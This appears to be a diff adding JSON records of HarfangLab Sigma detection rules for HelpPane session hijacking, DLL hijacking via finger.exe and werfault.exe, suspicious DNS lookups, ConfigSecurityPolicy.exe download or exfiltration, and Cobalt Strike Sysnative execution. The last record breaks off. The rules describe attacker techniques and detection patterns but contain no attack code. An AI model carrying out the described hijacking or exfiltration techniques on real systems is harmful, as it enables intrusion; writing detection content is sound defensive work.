+  "id": "6199a4d5-4143-4df6-a486-94005a5bb643",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "medium",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.625714Z",
+  "creation_date": "2026-03-23T11:45:34.625717Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.625721Z",
+  "rule_level": "medium",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://cicada-8.medium.com/process-injection-is-dead-long-live-ihxhelppaneserver-af8f20431b5d",
+    "https://github.com/3lp4tr0n/SessionHop/",
+    "https://projectzero.google/2016/01/raising-dead.html",
+    "https://attack.mitre.org/techniques/T1656/"
+  ],
+  "name": "t1656_helppane_server_execution.yml",
+  "content": "title: Suspicious Process Execution via HelpPane Server\nid: 6199a4d5-4143-4df6-a486-94005a5bb643\ndescription: |\n    Detects suspicious child process execution by HelpPane server.\n    Threat actors can abuse the IHxHelpPaneServer COM object, configured to run as an Interactive User, to hijack specified user sessions.\n    This session hijacking technique is an alternative to remote process injection or dumping lsass, and may come in handy when operators need to keylog, screenshot, or access LDAP as the affected user.\n    It is recommended to check the process created for suspicious activities.\nreferences:\n    - https://cicada-8.medium.com/process-injection-is-dead-long-live-ihxhelppaneserver-af8f20431b5d\n    - https://github.com/3lp4tr0n/SessionHop/\n    - https://projectzero.google/2016/01/raising-dead.html\n    - https://attack.mitre.org/techniques/T1656/\ndate: 2025/12/11\nmodified: 2025/12/23\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1656\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection:\n        ParentCommandLine: '?:\\Windows\\helppane.exe -Embedding'\n\n    filter_web_browsers:\n        - ProcessOriginalFileName:\n          - 'firefox.exe'\n          - 'chrome.exe'\n          - 'brave.exe'\n          - 'msedge.exe'\n          - 'opera.exe'\n          - 'vivaldi.exe'\n          - 'iexplore.exe'\n          - 'msedgewebview2.exe'\n          - 'DuckDuckGo.exe'\n          - 'AvastBrowser.exe'\n          - 'BrowserSelector.exe'\n          - 'CCleanerBrowser.exe'\n        - ProcessCommandLine|contains: 'https://go.microsoft.com/fwlink/?LinkId'\n\n    filter_image:\n        Image:\n            - '?:\\Windows\\HelpPane.exe'\n            - '?:\\Windows\\System32\\WerFault.exe'\n            - '?:\\Windows\\System32\\taskmgr.exe'\n            - '?:\\Program Files (x86)\\Ivanti\\Workspace Control\\pwrgate.exe'\n            - '?:\\Program Files\\WindowsApps\\Microsoft.GetHelp_*\\GetHelp.exe'\n\n    condition: selection and not 1 of filter_*\nlevel: medium\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "6199a4d5-4143-4df6-a486-94005a5bb643",
+  "rule_name": "Suspicious Process Execution via HelpPane Server",
+  "rule_description": "Detects suspicious child process execution by HelpPane server.\nThreat actors can abuse the IHxHelpPaneServer COM object, configured to run as an Interactive User, to hijack specified user sessions.\nThis session hijacking technique is an alternative to remote process injection or dumping lsass, and may come in handy when operators need to keylog, screenshot, or access LDAP as the affected user.\nIt is recommended to check the process created for suspicious activities.\n",
+  "rule_creation_date": "2025-12-11",
+  "rule_modified_date": "2025-12-23",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1656"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "61a4909c-c5a7-41e6-8b80-4e682f09d4ae",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.097109Z",
+  "creation_date": "2026-03-23T11:45:34.097111Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.097116Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://wietze.github.io/blog/save-the-environment-variables",
+    "https://securityintelligence.com/posts/windows-features-dll-sideloading/",
+    "https://github.com/xforcered/WFH",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_finger.yml",
+  "content": "title: DLL Hijacking via finger.exe\nid: 61a4909c-c5a7-41e6-8b80-4e682f09d4ae\ndescription: |\n    Detects potential Windows DLL Hijacking via finger.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://wietze.github.io/blog/save-the-environment-variables\n    - https://securityintelligence.com/posts/windows-features-dll-sideloading/\n    - https://github.com/xforcered/WFH\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2022/09/15\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'finger.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith: '\\mswsock.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "61a4909c-c5a7-41e6-8b80-4e682f09d4ae",
+  "rule_name": "DLL Hijacking via finger.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via finger.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying a legitimate executable and planting the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2022-09-15",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "61a74a91-1f17-4c6d-a936-40478cbc9e21",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "moderate",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.626986Z",
+  "creation_date": "2026-03-23T11:45:34.626989Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.626993Z",
+  "rule_level": "high",
+  "rule_confidence": "moderate",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.vincentyiu.com/red-team/domain-fronting/trycloudflare-infrastructure-and-domain-fronting",
+    "https://attack.mitre.org/techniques/T1102/002/",
+    "https://attack.mitre.org/techniques/T1090/004/",
+    "https://attack.mitre.org/techniques/T1048/003/"
+  ],
+  "name": "t1102_002_susp_domain_dns_linux.yml",
+  "content": "title: Suspicious Domain Name Resolved (Linux)\nid: 61a74a91-1f17-4c6d-a936-40478cbc9e21\ndescription: |\n    Detects a DNS resolution by an uncommon process to web services commonly used by attackers to exfiltrate or download malicious binaries.\n    Adversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system.\n    It is recommended to check if the process has legitimate reason to communicate with the service.\nreferences:\n    - https://www.vincentyiu.com/red-team/domain-fronting/trycloudflare-infrastructure-and-domain-fronting\n    - https://attack.mitre.org/techniques/T1102/002/\n    - https://attack.mitre.org/techniques/T1090/004/\n    - https://attack.mitre.org/techniques/T1048/003/\ndate: 2024/09/10\nmodified: 2026/02/10\nauthor: HarfangLab\ntags:\n    - attack.command_and_control\n    - attack.t1102.002\n    - attack.t1090.004\n    - attack.t1071.004\n    - attack.exfiltration\n    - attack.t1048.003\n    - classification.Linux.Source.DnsQuery\n    - classification.Linux.Behavior.Exfiltration\n    - classification.Linux.Behavior.CommandAndControl\nlogsource:\n    product: linux\n    category: dns_query\ndetection:\n    selection:\n        QueryName|endswith:\n            - '.trycloudflare.com'\n            - '.pages.dev'\n            - '.w3spaces.com'\n            - '.workers.dev'\n        ProcessImage|contains: '?'\n\n    exclusion_dns_server:\n        ProcessImage:\n            - '/usr/sbin/named'\n            - '/lib/systemd/systemd-resolved'\n            - '/usr/lib/systemd/systemd-resolved'\n            - '/usr/sbin/unbound'\n            - '/usr/sbin/pdns_recursor'\n            - '/usr/sbin/squid'\n            - '/usr/sbin/nscd'\n            - '/usr/local/nessy2/bin/named'\n\n    exclusion_proxy:\n        ProcessImage:\n            - '/usr/sbin/squid'\n            - '/usr/sbin/squid-gnutls'\n            - '*/traefik'\n            - '/usr/bin/traffic_server'\n\n    exclusion_misc:\n        ProcessImage: '/usr/sbin/samba'\n\n    exclusion_browser:\n        ProcessImage|endswith:\n            - '/firefox-esr'\n            - '/firefox-bin'\n            - '/firefox'\n            - '/waterfox'\n            - '/msedge'\n            - '/chrome'\n            - '/librewolf'\n            - '/chromium'\n            - '/chromium-browser'\n            - '/thorium'\n            - '/brave'\n            - '/vivaldi-bin'\n            - '/xdg-desktop-portal'\n            - '/opera'\n\n    exclusion_mailer:\n        - ProcessCommandLine:\n            - '/usr/bin/perl -T /usr/sbin/amavisd*'\n            - '/usr/sbin/amavisd-new (master)'\n            - 'MailScanner: starting child'\n            - '/opt/zimbra/common/sbin/amavisd (master)'\n            - '/usr/sbin/amavisd (master)'\n        - ProcessParentCommandLine: '/usr/sbin/amavisd (master)'\n\n    exclusion_ublock:\n        QueryName:\n            - 'ublockorigin.pages.dev'\n            - 'malware-filter.pages.dev'\n            - 'phishing-filter.pages.dev'\n\n    exclusion_image:\n        ProcessImage:\n            - '/usr/bin/dockerd'\n            - '/opt/zen/zen'\n            - '/home/*/.local/bin/zen-folder/zen'\n            - '/opt/Rocket.Chat/rocketchat-desktop'\n            - '/usr/libexec/gvfsd-http'\n            - '/opt/stremio/stremio'\n            - '/usr/bin/dig'\n            - '/usr/local/lib/qutebrowser/.venv/bin/python3'\n\n    exclusion_ancestors:\n        ProcessAncestors|contains: '|/usr/share/code/code|'\n\n    condition: selection and not 1 of exclusion_*\nlevel: high\nconfidence: moderate\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "61a74a91-1f17-4c6d-a936-40478cbc9e21",
+  "rule_name": "Suspicious Domain Name Resolved (Linux)",
+  "rule_description": "Detects a DNS resolution by an uncommon process to web services commonly used by attackers to exfiltrate or download malicious binaries.\nAdversaries may use an existing, legitimate external Web service as a means for relaying data to/from a compromised system.\nIt is recommended to check if the process has legitimate reason to communicate with the service.\n",
+  "rule_creation_date": "2024-09-10",
+  "rule_modified_date": "2026-02-10",
+  "rule_os": "linux",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.exfiltration"
+  ],
+  "rule_technique_tags": [
+    "attack.t1048.003",
+    "attack.t1071.004",
+    "attack.t1090.004",
+    "attack.t1102.002"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "61ae1266-56f1-4aa8-82e3-d1b2ba0b3aae",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.091235Z",
+  "creation_date": "2026-03-23T11:45:34.091238Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.091242Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://lolbas-project.github.io/lolbas/Binaries/ConfigSecurityPolicy/",
+    "https://attack.mitre.org/techniques/T1105/",
+    "https://attack.mitre.org/techniques/T1567/"
+  ],
+  "name": "t1567_config_security_policy.yml",
+  "content": "title: File Downloaded or Exfiltrated via ConfigSecurityPolicy.exe\nid: 61ae1266-56f1-4aa8-82e3-d1b2ba0b3aae\ndescription: |\n    Detects a suspicious execution of the ConfigSecurityPolicy.exe executable to download or exfiltrate a file.\n    If a file was downloaded, it will be saved in one of these locations:\n        - %LocalAppData%\\Microsoft\\Windows\\INetCache\\<8_RANDOM_ALNUM_CHARS>\\<FILENAME>[1].<EXTENSION>\n        - %LocalAppData%\\Microsoft\\Windows\\INetCache\\IE\\<8_RANDOM_ALNUM_CHARS>\\<FILENAME>[1].<EXTENSION>\n    Adversaries may transfer tools or exfiltrate files using legitimate tools to evade detection.\n    It is recommended to check the content of the downloaded file and look for other suspicious behavior in the user's session.\nreferences:\n    - https://lolbas-project.github.io/lolbas/Binaries/ConfigSecurityPolicy/\n    - https://attack.mitre.org/techniques/T1105/\n    - https://attack.mitre.org/techniques/T1567/\ndate: 2024/12/06\nmodified: 2025/04/11\nauthor: HarfangLab\ntags:\n    - attack.command_and_control\n    - attack.t1105\n    - attack.defense_evasion\n    - attack.t1218\n    - attack.exfiltration\n    - attack.t1567\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.LOLBin.ConfigSecurityPolicy\n    - classification.Windows.Behavior.FileDownload\n    - classification.Windows.Behavior.CommandAndControl\n    - classification.Windows.Behavior.DefenseEvasion\n    - classification.Windows.Behavior.Exfiltration\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_exe_image:\n        - Image|endswith: '\\ConfigSecurityPolicy.exe'\n        # Renamed binaries\n        - OriginalFileName: 'ConfigSecurityPolicy.exe'\n\n    selection_cmdline:\n        CommandLine|contains:\n          - 'http'\n          - 'ftp://'\n\n    exclusion_xml_config:\n        CommandLine|contains: 'http://forefront.microsoft.com/'\n\n    condition: all of selection_* and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "61ae1266-56f1-4aa8-82e3-d1b2ba0b3aae",
+  "rule_name": "File Downloaded or Exfiltrated via ConfigSecurityPolicy.exe",
+  "rule_description": "Detects a suspicious execution of the ConfigSecurityPolicy.exe executable to download or exfiltrate a file.\nIf a file was downloaded, it will be saved in one of these locations:\n    - %LocalAppData%\\Microsoft\\Windows\\INetCache\\<8_RANDOM_ALNUM_CHARS>\\<FILENAME>[1].<EXTENSION>\n    - %LocalAppData%\\Microsoft\\Windows\\INetCache\\IE\\<8_RANDOM_ALNUM_CHARS>\\<FILENAME>[1].<EXTENSION>\nAdversaries may transfer tools or exfiltrate files using legitimate tools to evade detection.\nIt is recommended to check the content of the downloaded file and look for other suspicious behavior in the user's session.\n",
+  "rule_creation_date": "2024-12-06",
+  "rule_modified_date": "2025-04-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.command_and_control",
+    "attack.defense_evasion",
+    "attack.exfiltration"
+  ],
+  "rule_technique_tags": [
+    "attack.t1105",
+    "attack.t1218",
+    "attack.t1567"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "61b86bcc-88c6-41c4-bb7d-d811859e298c",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.097754Z",
+  "creation_date": "2026-03-23T11:45:34.097756Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.097760Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows",
+    "https://github.com/xforcered/WFH",
+    "https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/",
+    "https://securelist.com/a-new-secret-stash-for-fileless-malware/106393/",
+    "https://attack.mitre.org/techniques/T1574/001/"
+  ],
+  "name": "t1574_001_dll_hijacking_werfault.yml",
+  "content": "title: DLL Hijacking via werfault.exe\nid: 61b86bcc-88c6-41c4-bb7d-d811859e298c\ndescription: |\n    Detects potential Windows DLL Hijacking via werfault.exe.\n    DLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\n    Attackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\n    It is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\nreferences:\n    - https://www.wietzebeukema.nl/blog/hijacking-dlls-in-windows\n    - https://github.com/xforcered/WFH\n    - https://redcanary.com/blog/hijack-my-hijack-my-hijack-my-dll/\n    - https://securelist.com/a-new-secret-stash-for-fileless-malware/106393/\n    - https://attack.mitre.org/techniques/T1574/001/\ndate: 2021/12/10\nmodified: 2025/07/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.persistence\n    - attack.privilege_escalation\n    - attack.t1574.001\n    - classification.Windows.Source.LibraryLoaded\n    - classification.Windows.Behavior.DLLHijacking\n    - classification.Windows.Behavior.DefenseEvasion\nlogsource:\n    product: windows\n    category: library_event\ndetection:\n    selection:\n        ProcessOriginalFileName: 'werfault.exe'\n        ProcessSignature: 'Microsoft Windows'\n        ImageLoaded|endswith:\n            - '\\cryptsp.dll'\n            - '\\dbgcore.DLL'\n            - '\\dbghelp.dll'\n            - '\\faultrep.dll'\n            - '\\wer.dll'\n    filter_legitimate_image:\n        Image|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n    filter_legitimate_imageloaded:\n        ImageLoaded|startswith:\n            - '?:\\Windows\\System32\\'\n            - '?:\\Windows\\SysWOW64\\'\n            - '?:\\Windows\\WinSxS\\'\n            - '?:\\ProgramData\\docker\\windowsfilter\\\\*\\Files\\Windows\\System32\\'\n    filter_signature_imageloaded:\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n    condition: selection and not 1 of filter_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "61b86bcc-88c6-41c4-bb7d-d811859e298c",
+  "rule_name": "DLL Hijacking via werfault.exe",
+  "rule_description": "Detects potential Windows DLL Hijacking via werfault.exe.\nDLL hijacking takes advantage of the default Windows search order by positioning both a victim application and a malicious DLL alongside each other.\nAttackers used this technique by copying legitimate Windows signed executable from System32 or SysWow64 to a non-standard directory and plant the malicious DLL within the same folder.\nIt is recommended to investigate the loaded library for malicious content and the behavior of the loading process to identify any suspicious activity.\n",
+  "rule_creation_date": "2021-12-10",
+  "rule_modified_date": "2025-07-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion",
+    "attack.persistence",
+    "attack.privilege_escalation"
+  ],
+  "rule_technique_tags": [
+    "attack.t1574.001"
+  ],
+  "warnings": null,
+  "errors": null,
+  "declared_in": null,
+  "source": "0950c540-b155-4054-9b93-8fb2888de6ed"
+}
+{
+  "id": "61c74714-e399-40ba-85c2-22fedaa60471",
+  "test_maturity_current_count": 0,
+  "test_maturity_delay": 7,
+  "test_maturity_threshold": 10,
+  "global_state": "alert",
+  "effective_state": "alert",
+  "rule_effective_level": "high",
+  "rule_effective_confidence": "strong",
+  "alert_count": 0,
+  "source_id": "0950c540-b155-4054-9b93-8fb2888de6ed",
+  "rule_level_overridden": false,
+  "whitelist_count": 0,
+  "last_modifier": {
+    "id": 1,
+    "username": "system_supervisor"
+  },
+  "endpoint_detection": true,
+  "backend_detection": false,
+  "origin_stack": {
+    "id": "b8e2fe4fc90e4d08",
+    "name": null,
+    "is_current": false,
+    "is_supervisor": true,
+    "is_tenant": false
+  },
+  "tenant": "b8e2fe4fc90e4d08",
+  "rule_is_depended_on": [],
+  "rule_type": "sigma_rule",
+  "origin_stack_id": "b8e2fe4fc90e4d08",
+  "last_update": "2026-03-23T11:45:34.084931Z",
+  "creation_date": "2026-03-23T11:45:34.084933Z",
+  "enabled": true,
+  "hl_status": "stable",
+  "hl_testing_start_time": "2026-03-23T11:45:34.084938Z",
+  "rule_level": "high",
+  "rule_confidence": "strong",
+  "rule_confidence_override": null,
+  "references": [
+    "https://posts.specterops.io/a-deep-dive-into-cobalt-strike-malleable-c2-6660e33b0e0b",
+    "https://labs.f-secure.com/archive/persistence-architecture-matters/",
+    "https://attack.mitre.org/techniques/T1055/",
+    "https://attack.mitre.org/software/S0154/"
+  ],
+  "name": "t1055_suspicious_execution_from_sysnative.yml",
+  "content": "title: Process Executed from the Sysnative Folder\nid: 61c74714-e399-40ba-85c2-22fedaa60471\ndescription: |\n    Detects the execution of a process from the Sysnative folder.\n    This can be the result of Cobalt Strike's exploitation via spawnto settings to launch temporary jobs through a legitimate binary.\n    It is recommended to investigate the binary launched in the Sysnative to look for malicious content or actions as well as to look for Cobalt Strike-related alerts on the host.\nreferences:\n    - https://posts.specterops.io/a-deep-dive-into-cobalt-strike-malleable-c2-6660e33b0e0b\n    - https://labs.f-secure.com/archive/persistence-architecture-matters/\n    - https://attack.mitre.org/techniques/T1055/\n    - https://attack.mitre.org/software/S0154/\ndate: 2022/01/25\nmodified: 2026/03/11\nauthor: HarfangLab\ntags:\n    - attack.defense_evasion\n    - attack.t1055\n    - attack.s0154\n    - classification.Windows.Source.ProcessCreation\n    - classification.Windows.Framework.CobaltStrike\nlogsource:\n    category: process_creation\n    product: windows\ndetection:\n    selection_commandline:\n        CommandLine|startswith: '?:\\Windows\\sysnative\\'\n    selection_parameters:\n        # Command-line with no parameters\n        CommandLine|contains: ' '\n\n    exclusion_programfiles:\n        ParentImage|startswith:\n            - '?:\\Program Files\\'\n            - '?:\\Program Files (x86)\\'\n\n    exclusion_mobaxterm:\n        # C:\\Program Files (x86)\\Mobatek\\MobaXterm\\MobaXterm.exe\n        - CommandLine: '?:\\WINDOWS\\Sysnative\\WindowsPowerShell\\v1.0\\powershell.exe'\n          ParentImage|endswith: '\\bin\\winpty-agent.exe'\n          GrandparentImage|endswith: '\\bin\\conin.exe'\n        - ParentImage|endswith: '?:\\Users\\\\*\\MobaXterm\\slash\\bin\\bash.exe'\n\n    exclusion_kms:\n        CommandLine: '?:\\Windows\\SysNative\\Vmw.exe'\n        Signed: 'true'\n        Signature: 'Microsoft Windows'\n        OriginalFileName: 'Vmw.exe'\n\n    exclusion_razer:\n        CommandLine: '?:\\WINDOWS\\sysnative\\snippingtool'\n        GrandparentImage: '?:\\Program Files (x86)\\Razer\\Synapse3\\Service\\Razer Synapse Service.exe'\n\n    exclusion_sqlserver:\n        CommandLine: '?:\\Windows\\sysnative\\WindowsPowerShell\\v1.0\\PowerShell.exe'\n        # C:\\Program Files (x86)\\Microsoft SQL Server\\140\\Tools\\Binn\\ManagementStudio\\Ssms.exe\n        # C:\\Program Files (x86)\\Microsoft SQL Server Management Studio 19\\Common7\\IDE\\Ssms.exe\n        ProcessParentOriginalFileName: 'SSMS.EXE'\n        ProcessParentSigned: 'true'\n        ProcessParentSignature: 'Microsoft Corporation'\n\n    # https://www.tranquil.it/\n    exclusion_tranquil:\n        - ProcessGrandparentProduct|contains: 'WAPTSetup' # Multiple space at the end\n          ProcessGrandparentSigned: 'true'\n          ProcessGrandparentSignature: 'Tranquil I.T. Systems'\n        - ProcessGrandparentDescription|contains: 'WAPTSetup Setup'\n          ProcessGrandparentCompany|contains: 'Tranquil IT'\n          ProcessGrandparentImage:\n            - '*\\waptagent.exe'\n            - '*\\waptagent\\waptsetup.exe'\n\n    exclusion_lenovo:\n        ProcessParentOriginalFileName: 'lenovoupdate.exe'\n        ProcessParentSigned: 'true'\n        ProcessParentSignature: 'Lenovo (Beijing) Limited'\n\n    exclusion_vscode:\n        ProcessGrandparentImage|endswith: '\\Code.exe'\n        ProcessGrandparentOriginalFileName: 'electron.exe'\n        ProcessGrandparentSigned: 'true'\n        ProcessGrandparentSignature: 'Microsoft Corporation'\n\n    exclusion_tanium:\n        - ProcessParentImage|endswith: '\\TaniumClient.exe'\n          ProcessParentDescription: 'Tanium Client'\n          ProcessParentCompany: 'Tanium Inc.'\n        - ProcessGrandparentImage: '?:\\Program Files (x86)\\Tanium\\Tanium Client\\TaniumClient.exe'\n\n    exclusion_ccm:\n        - ParentImage|startswith: '?:\\Windows\\ccmcache\\'\n        - Ancestors|contains: '?:\\Windows\\CCM\\CcmExec.exe'\n\n    condition: selection_commandline and not selection_parameters and not 1 of exclusion_*\nlevel: high\nconfidence: strong\n",
+  "block_on_agent": false,
+  "quarantine_on_agent": false,
+  "rule_level_override": null,
+  "rule_id": "61c74714-e399-40ba-85c2-22fedaa60471",
+  "rule_name": "Process Executed from the Sysnative Folder",
+  "rule_description": "Detects the execution of a process from the Sysnative folder.\nThis can be the result of Cobalt Strike's exploitation via spawnto settings to launch temporary jobs through a legitimate binary.\nIt is recommended to investigate the binary launched in the Sysnative to look for malicious content or actions as well as to look for Cobalt Strike-related alerts on the host.\n",
+  "rule_creation_date": "2022-01-25",
+  "rule_modified_date": "2026-03-11",
+  "rule_os": "windows",
+  "rule_status": null,
+  "rule_tactic_tags": [
+    "attack.defense_evasion"
+  ],
+  "rule_technique_tags": [
+    "attack.t1055"
+  ],
